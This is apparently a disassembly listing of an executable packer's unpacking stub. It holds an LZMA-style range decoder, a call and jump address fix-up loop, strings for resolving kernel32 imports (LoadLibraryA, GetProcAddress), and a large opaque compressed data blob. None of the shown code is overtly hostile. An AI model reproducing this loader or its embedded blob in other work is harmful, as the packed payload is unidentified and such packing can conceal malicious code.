dd 0C1D3D624h, 0B928BD83h, 0C77A27CEh, 0AEBE557Fh, 0EC87ECD2h
dd 96B04174h, 0A1DA8E4Ch, 61829573h, 0C5906434h, 12F14DE5h
dd 943C6555h, 8F54D02Fh, 0FEFD5D36h, 615FE15Ch, 0D99AFE27h
dd 9B48D21h, 1A6C8062h, 0AA48FEF8h, 0B88B2BECh, 0EEBDFE9Dh
dd 0D6F864AAh, 6903D81Eh, 708452BAh, 0CFCF2F84h, 34BF6B2h
dd 5701EB77h, 8D801AB9h, 40289960h, 29094B8Ah, 6573B997h
dd 56162380h, 19F2E88Ah, 347D4CF6h, 5236C90Dh, 0B2D790BAh
dd 454261A4h, 0D56EB12Dh, 0C0C4A7F2h, 0AB56C512h, 6322F84Ch
dd 4C331208h, 86EEA225h, 85C0B709h, 0E3DDA01Ch, 19608F54h
dd 0BBFAE3F0h, 249F68D1h, 5BBA140Bh, 0BF6D2D61h, 0EBC5AFD1h
dd 9E5F1DC1h, 3F7B44CDh, 0EEC84CC0h, 7811F999h, 8F027658h
dd 1914DF5Ah, 9990871Ah, 85B447ADh, 40C8BC84h, 72656B00h
dd 336C656Eh, 6C642E32h, 6F4C006Ch, 694C6461h, 72617262h
dd 47004179h, 72507465h, 6441636Fh, 73657264h
db 73h, 0
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
db 0Ch
dd 0D0h, 0
dd 9D000000h, 0C00011Fh
db 0D0h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_411FDF proc near ; CODE XREF: __u_____:0041228Fp
and dword ptr [ecx+8], 0
or dword ptr [ecx+4], 0FFFFFFFFh
push esi
push edi
push 5
mov [ecx], edx
pop edx
loc_411FEE: ; CODE XREF: sub_411FDF+23j
mov eax, [ecx]
mov esi, [ecx+8]
shl esi, 8
movzx edi, byte ptr [eax]
or esi, edi
inc eax
dec edx
mov [ecx+8], esi
mov [ecx], eax
jnz short loc_411FEE
pop edi
pop esi
retn
sub_411FDF endp
; =============== S U B R O U T I N E =======================================
sub_412007 proc near ; CODE XREF: __u_____:004124A5p
push esi
mov esi, [ecx+4]
xor eax, eax
push edi
mov edi, [ecx+8]
test edx, edx
jle short loc_412042
push ebx
push ebp
mov ebx, edx
loc_412019: ; CODE XREF: sub_412007+37j
shr esi, 1
shl eax, 1
cmp edi, esi
jb short loc_412025
sub edi, esi
or al, 1
loc_412025: ; CODE XREF: sub_412007+18j
cmp esi, 1000000h
jnb short loc_41203D
mov edx, [ecx]
shl edi, 8
movzx ebp, byte ptr [edx]
shl esi, 8
or edi, ebp
inc edx
mov [ecx], edx
loc_41203D: ; CODE XREF: sub_412007+24j
dec ebx
jnz short loc_412019
pop ebp
pop ebx
loc_412042: ; CODE XREF: sub_412007+Cj
mov [ecx+8], edi
mov [ecx+4], esi
pop edi
pop esi
retn
sub_412007 endp
; =============== S U B R O U T I N E =======================================
sub_41204B proc near ; CODE XREF: sub_4120E3+1Ep
; sub_41211D+23p ...
push esi
mov esi, [edx+4]
push edi
mov eax, esi
movzx edi, word ptr [ecx]
shr eax, 0Bh
imul eax, edi
mov edi, [edx+8]
cmp edi, eax
jnb short loc_4120A1
mov [edx+4], eax
mov ax, [ecx]
movzx esi, ax
mov edi, 800h
sub edi, esi
sar edi, 5
add edi, eax
mov [ecx], di
mov eax, [edx+4]
cmp eax, 1000000h
jnb short loc_41209D
mov ecx, [edx]
mov esi, [edx+8]
shl esi, 8
movzx edi, byte ptr [ecx]
or esi, edi
inc ecx
shl eax, 8
mov [edx+8], esi
mov [edx], ecx
mov [edx+4], eax
loc_41209D: ; CODE XREF: sub_41204B+37j
xor eax, eax
jmp short loc_4120E0
; ---------------------------------------------------------------------------
loc_4120A1: ; CODE XREF: sub_41204B+15j
sub esi, eax
sub edi, eax
mov [edx+4], esi
mov [edx+8], edi
mov ax, [ecx]
mov si, ax
shr si, 5
sub eax, esi
mov [ecx], ax
mov eax, [edx+4]
cmp eax, 1000000h
jnb short loc_4120DD
mov ecx, [edx]
mov esi, [edx+8]
shl esi, 8
movzx edi, byte ptr [ecx]
or esi, edi
inc ecx
shl eax, 8
mov [edx+8], esi
mov [edx], ecx
mov [edx+4], eax
loc_4120DD: ; CODE XREF: sub_41204B+77j
push 1
pop eax
loc_4120E0: ; CODE XREF: sub_41204B+54j
pop edi
pop esi
retn
sub_41204B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4120E3 proc near ; CODE XREF: sub_4121DD+1Ep
; sub_4121DD+45p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov ebx, edx
push 1
test ebx, ebx
mov edi, ecx
pop eax
jle short loc_41210E
push esi
mov [ebp+var_4], ebx
loc_4120F8: ; CODE XREF: sub_4120E3+28j
mov edx, [ebp+arg_0]
lea esi, [eax+eax]
lea ecx, [esi+edi]
call sub_41204B
add eax, esi
dec [ebp+var_4]
jnz short loc_4120F8
pop esi
loc_41210E: ; CODE XREF: sub_4120E3+Fj
push 1
mov ecx, ebx
pop edx
pop edi
shl edx, cl
pop ebx
sub eax, edx
leave
retn 4
sub_4120E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41211D proc near ; CODE XREF: __u_____:loc_412496p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov [ebp+var_8], edx
xor edi, edi
cmp [ebp+var_8], edi
push 1
mov ebx, ecx
pop edx
mov [ebp+var_4], edi
jle short loc_412156
push esi
loc_412137: ; CODE XREF: sub_41211D+36j
lea esi, [edx+edx]
mov edx, [ebp+arg_0]
lea ecx, [esi+ebx]
call sub_41204B
mov ecx, edi
lea edx, [esi+eax]
shl eax, cl
or [ebp+var_4], eax
inc edi
cmp edi, [ebp+var_8]
jl short loc_412137
pop esi
loc_412156: ; CODE XREF: sub_41211D+17j
mov eax, [ebp+var_4]
pop edi
pop ebx
leave
retn 4
sub_41211D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41215F proc near ; CODE XREF: __u_____:00412303p
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
movzx esi, [ebp+arg_0]
shr esi, 7
shl [ebp+arg_0], 1
mov eax, esi
push edi
mov edi, ecx
mov [ebp+var_4], edx
shl eax, 9
lea ecx, [eax+edi+202h]
call sub_41204B
mov ebx, eax
or ebx, 2
loc_41218B: ; CODE XREF: sub_41215F+59j
cmp esi, eax
jnz short loc_4121BA
cmp ebx, 100h
jge short loc_4121D4
movzx esi, [ebp+arg_0]
shr esi, 7
mov edx, [ebp+var_4]
shl [ebp+arg_0], 1
lea eax, [esi+1]
shl eax, 8
add eax, ebx
lea ecx, [edi+eax*2]
call sub_41204B
add ebx, ebx
or ebx, eax
jmp short loc_41218B
; ---------------------------------------------------------------------------
loc_4121BA: ; CODE XREF: sub_41215F+2Ej
mov esi, 100h
loc_4121BF: ; CODE XREF: sub_41215F+73j
cmp ebx, esi
jge short loc_4121D4
mov edx, [ebp+var_4]
add ebx, ebx
lea ecx, [ebx+edi]
call sub_41204B
or ebx, eax
jmp short loc_4121BF
; ---------------------------------------------------------------------------
loc_4121D4: ; CODE XREF: sub_41215F+36j
; sub_41215F+62j
pop edi
mov al, bl
pop esi
pop ebx
leave
retn 4
sub_41215F endp
; =============== S U B R O U T I N E =======================================
sub_4121DD proc near ; CODE XREF: __u_____:004123FEp
; __u_____:00412446p
arg_0 = dword ptr 4
push esi
push edi
mov edi, edx
mov esi, ecx
call sub_41204B
test eax, eax
jnz short loc_412202
mov eax, [esp+8+arg_0]
push edi
shl eax, 4
push 3
pop edx
lea ecx, [eax+esi+4]
call sub_4120E3
jmp short loc_41223D
; ---------------------------------------------------------------------------
loc_412202: ; CODE XREF: sub_4121DD+Dj
mov edx, edi
lea ecx, [esi+2]
call sub_41204B
test eax, eax
push edi
jnz short loc_41222C
mov eax, [esp+0Ch+arg_0]
push 3
shl eax, 4
pop edx
lea ecx, [eax+esi+104h]
call sub_4120E3
add eax, 8
jmp short loc_41223D
; ---------------------------------------------------------------------------
loc_41222C: ; CODE XREF: sub_4121DD+32j
push 8
lea ecx, [esi+204h]
pop edx
call sub_4120E3
add eax, 10h
loc_41223D: ; CODE XREF: sub_4121DD+23j
; sub_4121DD+4Dj
pop edi
pop esi
retn 4
sub_4121DD endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 40h
push ebx
lodsd
push eax
lodsd
mov [ebp-28h], eax
mov ebx, [ebp-28h]
loc_412252: ; CODE XREF: __u_____:00412297j
; __u_____:004124C3j
lodsd
mov [ebp-28h], eax
lodsd
mov [ebp-18h], eax
push eax
lodsd
inc esi
mov [ebp-2Ch], esi
add esi, eax
push esi
mov edx, [ebp-2Ch]
and byte ptr [ebp-1], 0
mov ecx, 1B9Bh
mov eax, 4000400h
mov edi, ebx
push 1
rep stosd
pop edi
xor esi, esi
lea ecx, [ebp-40h]
mov [ebp-14h], edi
mov [ebp-10h], edi
mov [ebp-24h], edi
mov [ebp-8], esi
mov [ebp-20h], esi
call sub_411FDF
cmp [ebp-28h], esi
jbe short loc_412252
loc_412299: ; CODE XREF: __u_____:004124F8j
mov eax, [ebp-8]
mov ecx, esi
and eax, 3
lea edx, [ebp-40h]
shl ecx, 4
add ecx, eax
mov [ebp-0Ch], eax
lea ecx, [ebx+ecx*2]
call sub_41204B
test eax, eax
jnz loc_41233D
movzx eax, byte ptr [ebp-1]
shr eax, 4
lea eax, [eax+eax*2]
shl eax, 9
cmp esi, 4
lea ecx, [eax+ebx+0E6Ch]
mov [ebp-0Ch], ecx
jge short loc_4122DC
xor esi, esi
jmp short loc_4122E9
; ---------------------------------------------------------------------------
loc_4122DC: ; CODE XREF: __u_____:004122D6j
cmp esi, 0Ah
jge short loc_4122E6
sub esi, 3
jmp short loc_4122E9
; ---------------------------------------------------------------------------
loc_4122E6: ; CODE XREF: __u_____:004122DFj
sub esi, 6
loc_4122E9: ; CODE XREF: __u_____:004122DAj
; __u_____:004122E4j
cmp dword ptr [ebp-20h], 0
jz short loc_412311
mov eax, [ebp-8]
mov edx, [ebp-18h]
sub eax, edi
mov al, [eax+edx]
lea edx, [ebp-40h]
mov [ebp-30h], al
push dword ptr [ebp-30h]
call sub_41215F
and dword ptr [ebp-20h], 0
mov [ebp-1], al
jmp short loc_412335
; ---------------------------------------------------------------------------
loc_412311: ; CODE XREF: __u_____:004122EDj
push 1
pop eax
jmp short loc_412319
; ---------------------------------------------------------------------------
loc_412316: ; CODE XREF: __u_____:00412330j
mov ecx, [ebp-0Ch]
loc_412319: ; CODE XREF: __u_____:00412314j
add eax, eax
lea edx, [ebp-40h]
add ecx, eax
mov [ebp-34h], eax
call sub_41204B
or eax, [ebp-34h]
cmp eax, 100h
jl short loc_412316
mov [ebp-1], al
loc_412335: ; CODE XREF: __u_____:0041230Fj
mov eax, [ebp-18h]
mov cl, [ebp-1]
jmp short loc_4123A3
; ---------------------------------------------------------------------------
loc_41233D: ; CODE XREF: __u_____:004122B6j
lea edx, [ebp-40h]
lea ecx, [ebx+esi*2+180h]
mov dword ptr [ebp-20h], 1
call sub_41204B
cmp eax, 1
jnz loc_41241B
lea edx, [ebp-40h]
lea ecx, [ebx+esi*2+198h]
call sub_41204B
test eax, eax
lea edx, [ebp-40h]
jnz short loc_4123B1
lea eax, [esi+0Fh]
shl eax, 4
add eax, [ebp-0Ch]
lea ecx, [ebx+eax*2]
call sub_41204B
test eax, eax
jnz short loc_4123F2
cmp esi, 7
mov ecx, [ebp-8]
setnl al
dec eax
and al, 0FEh
add eax, 0Bh
sub ecx, edi
mov esi, eax
mov eax, [ebp-18h]
mov cl, [ecx+eax]
mov [ebp-1], cl
loc_4123A3: ; CODE XREF: __u_____:0041233Bj
mov edx, [ebp-8]
inc dword ptr [ebp-8]
mov [edx+eax], cl
jmp loc_4124F2
; ---------------------------------------------------------------------------
loc_4123B1: ; CODE XREF: __u_____:00412370j
lea ecx, [ebx+esi*2+1B0h]
call sub_41204B
test eax, eax
jnz short loc_4123C6
mov eax, [ebp-14h]
jmp short loc_4123ED
; ---------------------------------------------------------------------------
loc_4123C6: ; CODE XREF: __u_____:004123BFj
lea edx, [ebp-40h]
lea ecx, [ebx+esi*2+1C8h]
call sub_41204B
test eax, eax
jnz short loc_4123DE
mov eax, [ebp-10h]
jmp short loc_4123E7
; ---------------------------------------------------------------------------
loc_4123DE: ; CODE XREF: __u_____:004123D7j
mov ecx, [ebp-10h]
mov eax, [ebp-24h]
mov [ebp-24h], ecx
loc_4123E7: ; CODE XREF: __u_____:004123DCj
mov ecx, [ebp-14h]
mov [ebp-10h], ecx
loc_4123ED: ; CODE XREF: __u_____:004123C4j
mov [ebp-14h], edi
mov edi, eax
loc_4123F2: ; CODE XREF: __u_____:00412385j
push dword ptr [ebp-0Ch]
lea edx, [ebp-40h]
lea ecx, [ebx+0A68h]
call sub_4121DD
mov [ebp-0Ch], eax
xor eax, eax
cmp esi, 7
setnl al
dec eax
and al, 0FDh
add eax, 0Bh
mov esi, eax
jmp loc_4124C1
; ---------------------------------------------------------------------------
loc_41241B: ; CODE XREF: __u_____:00412356j
mov eax, [ebp-10h]
push dword ptr [ebp-0Ch]
mov [ebp-24h], eax
mov eax, [ebp-14h]
mov [ebp-10h], eax
xor eax, eax
cmp esi, 7
lea edx, [ebp-40h]
setnl al
dec eax
lea ecx, [ebx+664h]
and al, 0FDh
mov [ebp-14h], edi
add eax, 0Ah
mov esi, eax
call sub_4121DD
cmp eax, 4
mov [ebp-0Ch], eax
jl short loc_412456
push 3
pop eax
loc_412456: ; CODE XREF: __u_____:00412451j
lea ecx, [ebp-40h]
push ecx
push 6
shl eax, 7
pop edx
lea ecx, [eax+ebx+360h]
call sub_4120E3
cmp eax, 4
jl short loc_4124BE
mov ecx, eax
mov edi, eax
sar ecx, 1
and edi, 1
dec ecx
or edi, 2
shl edi, cl
cmp eax, 0Eh
jge short loc_41249F
lea edx, [ebp-40h]
push edx
mov edx, ecx
mov ecx, edi
sub ecx, eax
lea ecx, [ebx+ecx*2+55Eh]
loc_412496: ; CODE XREF: __u_____:004124BCj
call sub_41211D
add edi, eax
jmp short loc_4124C0
; ---------------------------------------------------------------------------
loc_41249F: ; CODE XREF: __u_____:00412483j
lea edx, [ecx-4]
lea ecx, [ebp-40h]
call sub_412007
shl eax, 4
add edi, eax
lea eax, [ebp-40h]
push eax
push 4
pop edx
lea ecx, [ebx+644h]
jmp short loc_412496
; ---------------------------------------------------------------------------
loc_4124BE: ; CODE XREF: __u_____:0041246Fj
mov edi, eax
loc_4124C0: ; CODE XREF: __u_____:0041249Dj
inc edi
loc_4124C1: ; CODE XREF: __u_____:00412416j
test edi, edi
jz loc_412252
add dword ptr [ebp-0Ch], 2
loc_4124CD: ; CODE XREF: __u_____:004124F0j
mov edx, [ebp-8]
mov ecx, [ebp-18h]
mov eax, edx
sub eax, edi
mov al, [eax+ecx]
mov [edx+ecx], al
inc edx
dec dword ptr [ebp-0Ch]
mov [ebp-1], al
cmp dword ptr [ebp-0Ch], 0
mov [ebp-8], edx
jle short loc_4124F2
cmp edx, [ebp-28h]
jb short loc_4124CD
loc_4124F2: ; CODE XREF: __u_____:004123ACj
; __u_____:004124EBj
mov eax, [ebp-8]
cmp eax, [ebp-28h]
jb loc_412299
pop ebx
pop esi
pop edx
xor ecx, ecx
loc_412503: ; CODE XREF: __u_____:0041251Cj
inc ecx
lodsb
sub al, 0E8h
jz short loc_41250F
dec al
jz short loc_41250F
jmp short loc_41251A
; ---------------------------------------------------------------------------
loc_41250F: ; CODE XREF: __u_____:00412507j
; __u_____:0041250Bj
mov edi, esi
lodsd
bswap eax
sub eax, ecx
stosd
add ecx, 4
loc_41251A: ; CODE XREF: __u_____:0041250Dj
cmp ecx, edx
jnz short loc_412503
xchg ebx, esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 0E2h
dd 3A043305h, 5E706h, 5 dup(40004h), 59040004h, 0FF053205h
dd 4AF04h, 5 dup(40004h), 0D0040004h, 96033E03h, 4F804h
dd 5 dup(40004h), 1E040004h, 3D04C304h, 43304h, 5 dup(40004h)
dd 0A040004h, 0E031B05h, 42204h, 5 dup(40004h), 8C040004h
dd 64028002h, 1B303h, 5 dup(40004h), 37040004h, 4203CA04h
dd 39103h, 5 dup(40004h), 0F9040004h, 9C050E04h, 59D05h
dd 5 dup(40004h), 62040004h, 8206AB06h, 66506h, 5 dup(40004h)
dd 9040004h, 0B8054705h, 5DA05h, 5 dup(40004h), 0F1040004h
dd 6D05C505h, 50504h, 5 dup(40004h), 4E040004h, 0C303A607h
dd 4C202h, 5 dup(40004h), 9C040004h, 9106C007h, 2E044404h
dd 0E204h, 0C707E104h, 0E1067F07h, 0EC035607h, 75070A04h
dd 84057007h, 0FC079107h, 5A01A006h, 0AD026D00h, 0B001C601h
dd 20043403h, 3E042004h, 1F04EA04h, 0FA042304h, 7050D05h
dd 7D065304h, 2003FE04h, 0BD040004h, 20050B04h, 9049004h
dd 0CB043D05h, 3E042004h, 8A034B04h, 5D604h, 5 dup(40004h)
dd 2040004h, 0E02E802h, 38702h, 5 dup(40004h), 0EC040004h
dd 8A02A302h, 2FE01h, 5 dup(40004h), 0E0040004h, 0DF041F03h
dd 3A303h, 5 dup(40004h), 0C4040004h, 5500E102h, 0F801h
dd 5 dup(40004h), 0D7040004h, 25007701h, 0FB02h, 5 dup(40004h)
dd 4040004h, 7043803h, 48A03h, 0Eh dup(40004h), 0E0040004h
dd 40003h, 6 dup(40004h), 0E0040004h, 42003h, 0Eh dup(40004h)
dd 20040004h, 3E004h, 6 dup(40004h), 0E107E104h, 0FE040007h
dd 40003h, 74040004h, 6A001h, 2 dup(40004h), 2A040004h
dd 51044C02h, 70004h, 5 dup(40004h), 9E040004h, 1C050204h
dd 7D04F205h, 0D204C504h, 40003h, 0Ch dup(40004h), 0A907E104h
dd 6B040004h, 5CA02h, 0D1040004h, 7B033B00h, 72404h, 40004h
dd 81040004h, 0AE02DD03h, 9046604h, 0A304D803h, 47A04h
dd 3 dup(40004h), 53040004h, 6D02AA04h, 86041D03h, 27040104h
dd 73042505h, 22049904h, 34043304h, 3F041E05h, 9 dup(40004h)
dd 5407E104h, 0C6040003h, 3AE00h, 4040004h, 1C03A802h
dd 6CA03h, 40004h, 0E2040004h, 0F7035003h, 0A2042103h
dd 64020003h, 5B804h, 3 dup(40004h), 78040004h, 8F033504h
dd 47042C03h, 0D5039F05h, 52048603h, 0F204AA04h, 0A6042203h
dd 89053903h, 40005h, 8 dup(40004h), 0C107E104h, 92040003h
dd 35500h, 3A040004h, 9A02DC01h, 5B903h, 40004h, 78040004h
dd 0B5020F04h, 9B046604h, 0B503B203h, 61B03h, 3 dup(40004h)
dd 0A7040004h, 4403E004h, 34032303h, 49040304h, 77041C05h
dd 7F04EB04h, 7C065703h, 64053B04h, 40005h, 7 dup(40004h)
dd 0E8040004h, 0E1033E02h, 6E03D103h, 0E203A503h, 0D803AD03h
dd 38046403h, 36049004h, 5904D105h, 0DE033A04h, 4E042A04h
dd 0A603B404h, 0DC04B404h, 0C103CD03h, 4F03BC03h, 6C043203h
dd 0D303FF03h, 2C044904h, 0F9047103h, 0FA041A03h, 0A03C003h
dd 0D204B104h, 51038503h, 0FB04F503h, 21037603h, 1D038D05h
dd 0F203F604h, 3B03D103h, 56041F04h, 9903F804h, 0E2031303h
dd 7103E403h, 6F047B04h, 7C039404h, 36049A04h, 73033504h
dd 1D042704h, 0D403F604h, 2003D903h, 303C904h, 97047404h
dd 78045B03h, 0FC045304h, 6504CF03h, 98027E05h, 4503E603h
dd 1E036504h, 1F03DF04h, 4703BB04h, 1304A404h, 38042D04h
dd 0A0041404h, 0C203C303h, 6A03A303h, 603E303h, 0D5045D04h
dd 1E047A03h, 0E3041404h, 41403h, 44704h, 0D303AC04h, 2E036A03h
dd 0CD030B04h, 4A03A203h, 9A04DA04h, 5603C103h, 5D03B303h
dd 68407h, 0E5065F04h, 0F9045E03h, 5505F202h, 44804h, 0C05D504h
dd 0B3057005h, 0B9048601h, 4D505h, 9F063404h, 0A706EC04h
dd 0B6056D02h, 4D605h, 27067404h, 0F062E04h, 11052D03h
dd 4A305h, 30h dup(40004h), 1E059004h, 0B0047405h, 3D044C03h
dd 45A04h, 0E3055304h, 8A05F005h, 0B704A604h, 41603h, 5E04FF04h
dd 5F047605h, 9503A604h, 3AB04h, 4105B104h, 4E047104h
dd 9B039F04h, 48204h, 30h dup(40004h), 0BC07BC04h, 77040007h
dd 40007h, 0F2040004h, 41E06h, 2 dup(40004h), 87040004h
dd 104D406h, 41F04h, 5 dup(40004h), 80040004h, 0D9045C05h
dd 0C1041F04h, 0FF03C103h, 42003h, 0Bh dup(40004h), 0A4040004h
dd 803CD03h, 3503C704h, 0C1043F04h, 3E003h, 43F04h, 20043F04h
dd 0E0042004h, 40003h, 17h dup(40004h), 8A040004h, 0C3049E04h
dd 20037203h, 0FF03E604h, 0C3043D03h, 3F03C203h, 40004h
dd 3C104h, 42004h, 1040004h, 40004h, 0C1040004h, 2 dup(0E0040003h)
dd 40003h, 3E004h, 30h dup(40004h), 75040004h, 63F07h
dd 7F066704h, 7C033E05h, 0E1052C03h, 4AE03h, 0D3068F04h
dd 1D03A404h, 28027A02h, 5D703h, 0E3067604h, 9A055005h
dd 8E045103h, 3C305h, 0D1065004h, 0E903EA02h, 70024002h
dd 47203h, 30h dup(40004h), 9803C004h, 2046203h, 55037B04h
dd 3F304h, 0E7037704h, 0AA053703h, 0BC03BB03h, 3C703h
dd 0A4043104h, 21045303h, 0E103B504h, 3E603h, 30041904h
dd 5904D703h, 0E0036604h, 42003h, 30h dup(40004h), 39074204h
dd 0FA03C107h, 42006h, 8C03C104h, 20040206h, 2 dup(40004h)
dd 6203C104h, 3F03E005h, 0E003C104h, 40003h, 4 dup(40004h)
dd 0F703C104h, 0FF043104h, 1045D03h, 40004h, 43F04h, 3E004h
dd 0Ah dup(40004h), 2B03C104h, 8C04E204h, 2003A704h, 0A3042004h
dd 0E0040003h, 3E003h, 40004h, 1040004h, 2 dup(40004h)
dd 42004h, 15h dup(40004h), 0DF03C104h, 43043903h, 8C03C104h
dd 20042003h, 0E0040104h, 0E0040003h, 40003h, 41E04h, 40004h
dd 3E004h, 42004h, 3 dup(40004h), 20040004h, 3E004h, 3 dup(40004h)
dd 0E0040004h, 40003h, 2Bh dup(40004h), 3C104h, 0A4043204h
dd 8B055F02h, 90043103h, 0D203D906h, 0DE01D006h, 0ED03E701h
dd 70021406h, 0E4032A04h, 0B5043404h, 9403E603h, 1A074305h
dd 8D05C401h, 0E041E03h, 70027905h, 95039705h, 36024302h
dd 0EE02CE06h, 71051704h, 0DF042604h, 0CC04AD05h, 51039B04h
dd 0D604FE04h, 88077802h, 0E1033601h, 9405B704h, 42043F03h
dd 51045705h, 0EB041A03h, 0D6040403h, 10042303h, 3705DE04h
dd 1001C203h, 7D04EB06h, 0FD02BE04h, 74047904h, 0F503FF04h
dd 46047904h, 94037103h, 85050603h, 6204F503h, 7903C705h
dd 3E040204h, 4900AC04h, 6903E204h, 4603A104h, 5503F404h
dd 9105F203h, 9203FF04h, 97060F04h, 8C061F03h, 0CA040504h
dd 1045E03h, 0FF047A04h, 55045D03h, 9A030D04h, 58025804h
dd 5D02AA04h, 95049604h, 0F603DF04h, 1A042003h, 8D040104h
dd 1E045D02h, 3D033504h, 801CE04h, 9F03E406h, 1048D04h
dd 2043F04h, 0AB027E04h, 0E2041F04h, 0D9042003h, 0FF03A904h
dd 0E103C103h, 3D03AB04h, 0AB045104h, 69037004h, 0F053803h
dd 0BE038604h, 0A5043B03h, 7303EC03h, 9B03E104h, 0FE03DF04h
dd 0F0040003h, 9603E103h, 0CB049C03h, 5101AE05h, 0B304AD04h
dd 57033A03h, 0F2049404h, 0A003E103h, 13053904h, 3906DB07h
dd 0FC040304h, 31045C04h
dd 60042404h, 31043C04h, 4B043F04h, 3001C805h, 0AC047A03h
dd 3C021902h, 1C047202h, 2203C104h, 0FA03C504h, 4E039003h
dd 9F043F04h, 3D03A204h, 5D040004h, 0E103E104h, 5C040003h
dd 0FF03C104h, 0B903AB03h, 0E2040104h, 9F04B103h, 20040204h
dd 3B042C04h, 9603E004h, 35040004h, 0FE03E004h, 7403E103h
dd 5903FE04h, 5D03C104h, 3F03FF04h, 3E03C104h, 5D020404h
dd 3F040004h, 3F03E004h, 5D03B104h, 20042004h, 19B04h
dd 0A2043704h, 2076303h, 5804DD05h, 62046607h, 16054006h
dd 0C704C705h, 0E0040106h, 0B703C603h, 1E042005h, 80050B04h
dd 2305E804h, 0D6057104h, 2003CF03h, 40004h, 0E0040004h
dd 37042003h, 2003FF05h, 0E003E004h, 0A3041E03h, 0E2042003h
dd 9703E003h, 42002h, 0FE048C04h, 22045703h, 1E045C04h
dd 38604h, 40004h, 42004h, 40004h, 3E004h, 0E0043F04h
dd 5B040003h, 3FF04h, 2 dup(40004h), 20040004h, 20042004h
dd 2003FF04h, 2003E104h, 0E0040004h, 0E0042003h, 0E003C103h
dd 2003E003h, 40004h, 0C1042004h, 0FF043F03h, 0E0045A03h
dd 5D040003h, 86047404h, 0E003C103h, 40003h, 3FF04h, 7 dup(40004h)
dd 3E004h, 0C1040004h, 40003h, 40004h, 0EC040004h, 0E0040002h
dd 3E003h, 3E004h, 5 dup(40004h), 0E0040004h, 0E0040003h
dd 40003h, 0E0040004h, 0E0040003h, 0E003E003h, 40003h
dd 4 dup(40004h), 3E004h, 40004h, 3C104h, 2 dup(40004h)
dd 0E0040004h, 40003h, 0C103A304h, 0E003E003h, 0E003C103h
dd 0E003E003h, 3E003h, 0A3040004h, 0C1040003h, 40003h
dd 2 dup(3C104h), 1Ch dup(40004h), 0DA035004h, 39041500h
dd 0F4031501h, 0FE036903h, 0DB02F603h, 0D702F401h, 0C103A402h
dd 38045303h, 0A3041E04h, 61043903h, 0C803E003h, 0ED037002h
dd 2EC02h, 20036A04h, 0C103A304h, 0C103E003h, 42003h, 1040004h
dd 0DE036A04h, 3B042003h, 0A5041804h, 3F040004h, 0D03E004h
dd 6A042003h, 0E003E403h, 20043103h, 40004h, 43F04h, 40004h
dd 3C104h, 40004h, 0FF03E004h, 0E003E003h, 20040003h, 40004h
dd 0E0040004h, 20040003h, 20045D04h, 3E004h, 2 dup(40004h)
dd 3E004h, 3A304h, 40004h, 0FA040004h, 0C103E003h, 0E0042003h
dd 20040003h, 0E2040004h, 2003E203h, 42004h, 3E004h, 2 dup(40004h)
dd 3F040004h, 4 dup(40004h), 42004h, 3 dup(40004h), 3F042004h
dd 43F04h, 6 dup(40004h), 20040004h, 42004h, 40004h, 20040004h
dd 5 dup(40004h), 20040004h, 4 dup(40004h), 20042004h
dd 6 dup(40004h), 7A040004h, 3 dup(40004h), 5D040004h
dd 5 dup(40004h), 20040004h, 42004h, 18h dup(40004h), 0BB03A104h
dd 87056803h, 0F3053704h, 0B2040F05h, 1903F205h, 8F050803h
dd 15039406h, 0DD033804h, 1F039004h, 0E603C604h, 0C1056104h
dd 0A9043F02h, 0E503D103h, 12041B03h, 98049C04h, 0D3032703h
dd 0E103E204h, 0E0044103h, 0FD047003h, 70046603h, 7003DF04h
dd 0A7042003h, 0CB058C03h, 16040103h, 3E04A105h, 0C703FF04h
dd 0FF043F03h, 103A903h, 6A041A04h, 1043B04h, 0C2045D04h
dd 41032303h, 1C03E804h, 5D03E204h, 0FF045D04h, 3F047A03h
dd 3E03E604h, 1043F04h, 75045D04h, 0B7047A04h, 5D043304h
dd 74047A04h, 7A032B04h, 20045D04h, 5003C304h, 3F040104h
dd 3F043E04h, 16043F04h, 0A5047A04h, 5D051303h, 0E2042004h
dd 3F042003h, 7A043F04h, 1042004h, 5D045D04h, 7A03E304h
dd 7A03C304h, 92045D04h, 20041E04h, 3F043F04h, 0C3040104h
dd 5D042003h, 7A03C104h, 43038704h, 0E2040204h, 3E036A03h
dd 5D041E04h, 7A03C504h, 20040004h, 5D040004h, 3E03E004h
dd 5D040004h, 3F042004h, 3E03E104h, 3F03C104h, 3F040004h
dd 7A03FF04h, 7A03E004h, 7A043F04h, 6C040004h, 5D03A304h
dd 5D03E004h, 7A040004h, 55040004h, 3D03A304h, 0C203F004h
dd 5D040003h, 2 dup(20040004h), 0FC042004h, 2004B004h
dd 1E03E004h, 0E2042004h, 3F042003h, 0C1040004h, 0A3040003h
dd 5702EC04h, 0DF042004h, 0B302BF03h, 1E042003h, 2 dup(20040004h)
dd 3F03C104h, 0FF03E004h, 0E2040003h, 3F042003h, 1040004h
dd 3F042004h, 7A03C104h, 2003E004h, 5D040004h, 7A043E04h
dd 20040004h, 3F03E104h, 5D040004h, 72040004h, 3F042004h
dd 3F03E004h, 0FF03E004h, 3F040003h, 20040004h, 3F03E004h
dd 3F036A04h, 5D042004h, 20040004h, 7A03A304h, 3E040004h
dd 3AF04h, 0C04A104h, 0AC055405h, 0F1041804h, 2F03FD04h
dd 5D03E004h, 7A040004h, 0E003FF04h, 3F03E303h, 40104h
dd 3F042004h, 42004h, 0E0043F04h, 3E003h, 3FF04h, 0E0040004h
dd 0E0040103h, 20040003h, 40004h, 0E0040004h, 0E003E003h
dd 40003h, 2 dup(40004h), 20040004h, 2 dup(40004h), 0E003E004h
dd 3E003h, 40004h, 3E004h, 42004h, 10h dup(40004h), 0E0040004h
dd 40003h, 0Bh dup(40004h), 0E0040004h, 40003h, 42h dup(40004h)
dd 0F101E804h, 0A039502h, 35040304h, 6A037A03h, 2003C203h
